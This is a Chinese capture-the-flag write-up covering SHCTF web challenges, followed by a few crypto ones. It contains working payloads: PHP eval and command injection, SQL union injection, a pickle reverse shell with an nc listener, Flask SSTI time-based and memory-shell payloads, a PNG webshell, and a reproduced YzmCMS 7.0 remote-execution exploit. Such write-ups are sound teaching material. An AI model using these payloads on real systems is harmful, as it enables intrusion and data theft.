WEB
[Week1] 1zflask
题目提示robots
那我们访问/robots.txt,得到一个新的文件,我们访问,自动下载了一个py文件
1 | import os |
我们发现,在api路由里传了一个参数,且默认为ls /,我们访问在这个路由
我们发现flag所在位置,修改SSHCTFF为cat /flag
1 | ?SSHCTFF=cat /flag |
得到flag
[Week1] ez_gittt
我们在网页源码里发现提示
想到了git泄露,我们访问.git
进入文件夹
我们在/logs/refs/heads/master里发现修改日志
我们发现他添加了flag,又删除了flag,那我们可以回滚日志,就能找到flag了,我们先用githack把仓库克隆下来
1 | python2 GitHack.py http://entry.shc.tf:30187/.git/ |
克隆后在文件中查询日志
1 | git log |
然后回滚日志
1 | git diff 73beab9e53f96cb5d610ee2e95da714844f4cbb3 |
找到flag
[Week1] 单身十八年的手速
我们打开页面发现要求点击520次就可获得flag,一看又是个js的题,但我们在game.js直接就找到了flag的base64编码,解码得到flag
[Week1] 蛐蛐?蛐蛐!
我们打开源代码,发现有个提示
我们访问source.txt,发现一串代码
1 | <?php |
进行代码审计,我们发现get提交的ququ要为114514,它的逆向要不为114514,由于是弱比较,我们让
1 | ququ=114514.0就能绕过第一个if |
而post传递的ququ,它的前6个字符需为ququk1
我们使用?><?php截断eval函数,再重新创个system函数来执行
1 | ququk1; ?><?php system("ls"); |
成功得到目录文件
然后我们找到flag所在位置
1 | ququk1; ?><?php system("ls ../../../"); |
将flag输出出来
1 | ququk1; ?><?php system("cat ../../../flag"); |
就得到flag了
[Week1] poppopop
简单的反序列化
pop链
1 | <?php |
[Week1] MD5 Master
md5 强碰撞
1 | <?php |
我们来审计代码,要传入的maste1和maste2跟master拼接的数据不同,但md5的值要相同,且为md5强碰撞,我们使用fastcoll来生成两个前缀为 MD5 master!
且md5一样的文件。
我们使用bp或hackbar将值传上去
这里需要注意的细节是,用hackerbar发送时,要在结尾多添加一个 &
,因为hackerbar会自动换行
用bp发送时,要把最后的空行删除,不能有多余的东西,或者在结尾多添加一个&
1 | master1=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00v%CE%0A%9F%DF%0FL%86%AF%DB%14%D4%250o%C6%C6%DB%5D%08%FC%8A%27%9F%1A%AA9F%11%FA%90%11%96%D5%02%E2%BC%D4%2B%1B%8B%06q%A1%17%16%7Fp%0B%3D%CD%5D%FFdu%13%F0%16%E0%ADx%D52%DEnD%FF%85%C6%8C%C3%10E%B2%11%C18%7CM%A8C%7E%BAWd%5B%C2%28%8D%C3+%C8%8B_%88%C8%CBs48%A7%06.TtI%CA%3A%3B%98%0E%9F%F5S%D4%D2%AE%A7q%839IW%A6%11%CF%8Cv&master2=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00v%CE%0A%9F%DF%0FL%86%AF%DB%14%D4%250o%C6%C6%DB%5D%88%FC%8A%27%9F%1A%AA9F%11%FA%90%11%96%D5%02%E2%BC%D4%2B%1B%8B%06q%A1%17%96%7Fp%0B%3D%CD%5D%FFdu%13%F0%16%E0-x%D52%DEnD%FF%85%C6%8C%C3%10E%B2%11%C18%7CM%A8C%7E%BA%D7d%5B%C2%28%8D%C3+%C8%8B_%88%C8%CBs48%A7%06.TtI%CA%3A%3B%18%0E%9F%F5S%D4%D2%AE%A7q%839IW%26%11%CF%8Cv |
得到flag
[Week2]登录验证
题目说跟jwt有关,那我们先登录
我们发先
密码不是admin会回显错误密码,账号不是admin会回显”你不是admin”
都是admin后回显”你不是真正的admin”,此时抓包可以看到cookie处有token
我们把token放到jwt.io里去解密
我们发现这个role是user,我们猜测要将其改为admin,但是我们需要密钥,题目提示可以爆破,那我们用jwt-cracker爆破看看,根据题目描述666666,我们猜测6位弱密码
爆破出来密码为222333,我们开始修改jwt
我们将修改后的jwt重新传入token中,刷新页面,得到flag
[Week2]dickle
题目提示说是p不是d,那就是pickle反序列化了
我们查看源码
1 | from flask import Flask, request |
我们看到黑名单里过滤了os.system
在反序列化过程中,如果 pickle
模块遇到一个表示类的标记,它会调用 find_class
方法来查找和创建相应的类实例。
find_class
方法将识别到的 module
和 name
取决于 reduce
方法返回的内容。
module
是类的模块名,例如 “os
“。name
是类名,例如 “system
“
我们本地运行加一个打印find_class的结果
在反序列化过程中, pickle 使用 find_class
方法来定位和导入必要的类或函数。由于 pickle 记录的是 posix.system
,因此find_class
会从 posix 模块中导入 system 函数,而不是从 os 模块中导入。
所以可以用os.system
我们进行pickle反序列化
1 | import base64 |
先监听端口
1 | nc -lvvp 端口 |
然后将反序列化的结果传上去反弹shell,查找flag
[Week2]自助查询
我们使用1”)就能将sql语句闭合,然后就是正常的sql注入过程
1 | -1")union select 1,database()# |
ctf
1 | -1") union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"# |
flag,users
1 | -1") union select 1,group_concat(column_name) from information_schema.columns where table_name="flag"# |
id,scretdata
1 | -1") union select 1,group_concat(scretdata) from flag# |
被你查到了, 果然不安全,把重要的东西写在注释就不会忘了
我们去查找列注释
1 | -1") union select 1,column_comment from information_schema.columns |
得到flag
[Week2]MD5 GOD!
我们先开始代码审计
我们由源码可知,当64个用户签到成功后即可得到flag
1 | @app.route("/flag") |
访问users路由可以知道用户的签到状态
/login 路由可以登录
/ 路由是用来签到的
/flag 能得到flag
我们来观察签到逻辑和验证函数
1 | def check_sign(sign, username, msg, salt): |
我们可以知道,只要session里的sign和最终md5(salt + msg + username)
相等即可签到成功
这里的salt是未知的,但最初的账号 student 的所有信息是已知的,可以用这个账号的相关信息来做hash长度拓展攻击
hash长度拓展攻击的代码可以去网上找现成的
接着是session伪造,SECRET_KEY
已经给出是 Th1s_is_5ecr3t_k3y
,写脚本的时候可以参考 flask_session_cookie_manager3.py
里的代码
1 | import hashlib |
跑完这个脚本后,访问/flag得到flag
[Week3] 小小cms
我们看到这是个YzmCMS内容管理系统,而且最近更新提到了它的版本
我们上网查查YzmCMS v7.0的漏洞https://blog.csdn.net/shelter1234567/article/details/138524342
文章提到 YzmCMS 某些接口调用了 db_pdo类的where方法 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。
影响版本<=7.0
进行漏洞分析
在db_pdo.class.php文件中,db_pdo存在where方法。在195行出现了$fun($rule)的执行方法
如果$fun和$rule都为可控参数就会形成“exec(calc)”的危险函数调用漏洞
分析$fun与$rulee是如何传参的
首先在187行与188行$rule为$vv[1]得到, $fun为$vv[2] 得到
向上分析$vv(本身数组)是数组$args中遍历的,经过测试$args其实是where函数的参数$arr赋予的
接下来我们要分析谁可以调用db_pdo类的where方法
调用where的方法有很多,但调用的同时要考虑参数是否可控,是否传递数组
这里根据poc提供一个函数调用的地方
位于pay/controller/index.class.php中的pay_callback方法
1 | $out_trade_no = $_POST['out_trade_no']; |
经过前面的分析,传递的参数的是数组,这里已经符合要求了。我们只需将 $out_trade_no变为数组即可,且out_trade_no[2]为调用函数out_trade_no[1]为调用函数参数
根据框架的的控制器一般调用方法,欲想调用pay_callback方法 需构造这样的url “pay/index/pay_callback”
可以先这样访问看看行不行,如果不行在分析代码是否禁用的这种方式,是否有自己定义路由,是否有自己定义前缀,后缀。
漏洞复现
根据前面的分析的我们这样发请求行不行
1 | POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1 |
由于out_trade_no没有0的值,出现了错误
其实我们前面忽略了一点,就是out_trade_no[0]的处理
$vv[0]需是$exp_arr存在的健,根据184行,我们随便找一个键 eq。构造如下payload
1 | out_trade_no[0]=eq&out_trade_no[1]=calc&out_trade_no[2]=exec |
系统成功执行了exec(calc)函数,实现了任意函数调用
回到本题,我们访问/pay/index/pay_callback,post传一个
1 | out_trade_no[0]=eq&out_trade_no[1]=env&out_trade_no[2]=system |
得到flag
[Week3] 拜师之旅·番外
我们随便传上一张png图片
当上传一张图片成功后,查看图片可以发现是通过GET传文件路径来显示的,考虑存在include包含
我们将图片下载下来,放入010中与原文件进行对比
发现只有一部分相同,其余的大多被更改了,我们想到图片的二次渲染
此时需要构造一张不被渲染掉的png图片马,这里借用了网上的脚本
1 | <?php |
我们将生成的图片上传上去
并在查看图片页面进行命令执行
1 | GET :靶机地址/?image=/upload/293146324.png&0=system |
执行一次后,我们重新将图片下载下来,放到010里查看
得到flag
[Week3] love_flask
1 | @app.route('/') |
从源码中我们可以发现输入可控,而且经过了渲染,明显的ssti模版注入
此外,我们还发现源码没有回显ssti的结果
可以看到没有任何的过滤
所以我们有两种办法
一种是盲注,因为渲染失败会返回500,所以可以先爆出eval
1 | /namelist?name={{().__class__.__base__.__subclasses__()[{{int(100-200)}}].__init__.__globals__['__builtins__']['eval']('__import__("time").sleep(3)')}} |
我们可以通过构造延时来爆flag
1 | import requests |
if [ $(head -c {} /flag) = {} ]; then sleep 2;
**head -c {}
**:
head
是一个用于输出文件开头部分的命令。-c {}
选项表示输出文件的前{}
个字节。这个{}
在实际代码中将被替换为一个整数值,代表要读取的字节数。/flag
是要检查的文件路径。
**$(...)
**:
- 这是命令替换(command substitution),用于将命令的输出作为字符串插入到另一个命令中。
- 在这里,
$(head -c {} /flag)
会输出/flag
文件的前{}
个字节的内容。
**sleep 2
**:
sleep
命令用于使程序暂停指定的时间(在这里是2秒)。- 如果
head
命令的输出与{}
相等,则执行sleep 2
,造成响应延迟。
**then ... fi
**:
then
表示条件为真时执行的命令块的开始,fi
表示if
语句的结束。
第二种方法
我们可以通过构造内存马
https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6QGCDcmQD80rdDCbAeD
1 | {{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}} |
我们先运行一遍,然后再访问/shell?cmd=tac /f*
[Week3] hacked_website
我们扫描目录,发现有个www.zip,我们把它下载下来,然后用D盾扫描,发现后门文件
我们打开这个文件
1 | <?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?> |
我们可以发现可以命令执行,在/admin/profile.php下传一个SH来进行rce
但首先我们要进行登录
进入/admin根据文章发布者,账号为admin,爆破密码,结果为qwer1234
然后我们执行命令,得到flag
解法二
在控制台-外观-编辑当前外观处编辑模板
然后我们访问index.php,得到flag
[Week3] 顰
CRYPTO
[Week1] EzAES
我们直接解密就行
1 | from Crypto.Cipher import AES |
[Week1] baby_mod
此时我们知道了r,也就是说如果我们知道了tmp,就能计算出r对于t的逆元,就可以求出p,而tmp只有15bit,可以很快的遍历出来。
遍历p,逐一解密密文,明文中包含SHCTF的即为所求
1 |
|
[Week1] d_known
我们已知e和d的值
通过计算可知,e是17位,d是2047为,phi大概是2048位,因此我们可以推测k的值
然后求pq,q = next_prime(p),qp接近,直接对phi开方然后用next_prime、prevprime即可求出pq
1 |
|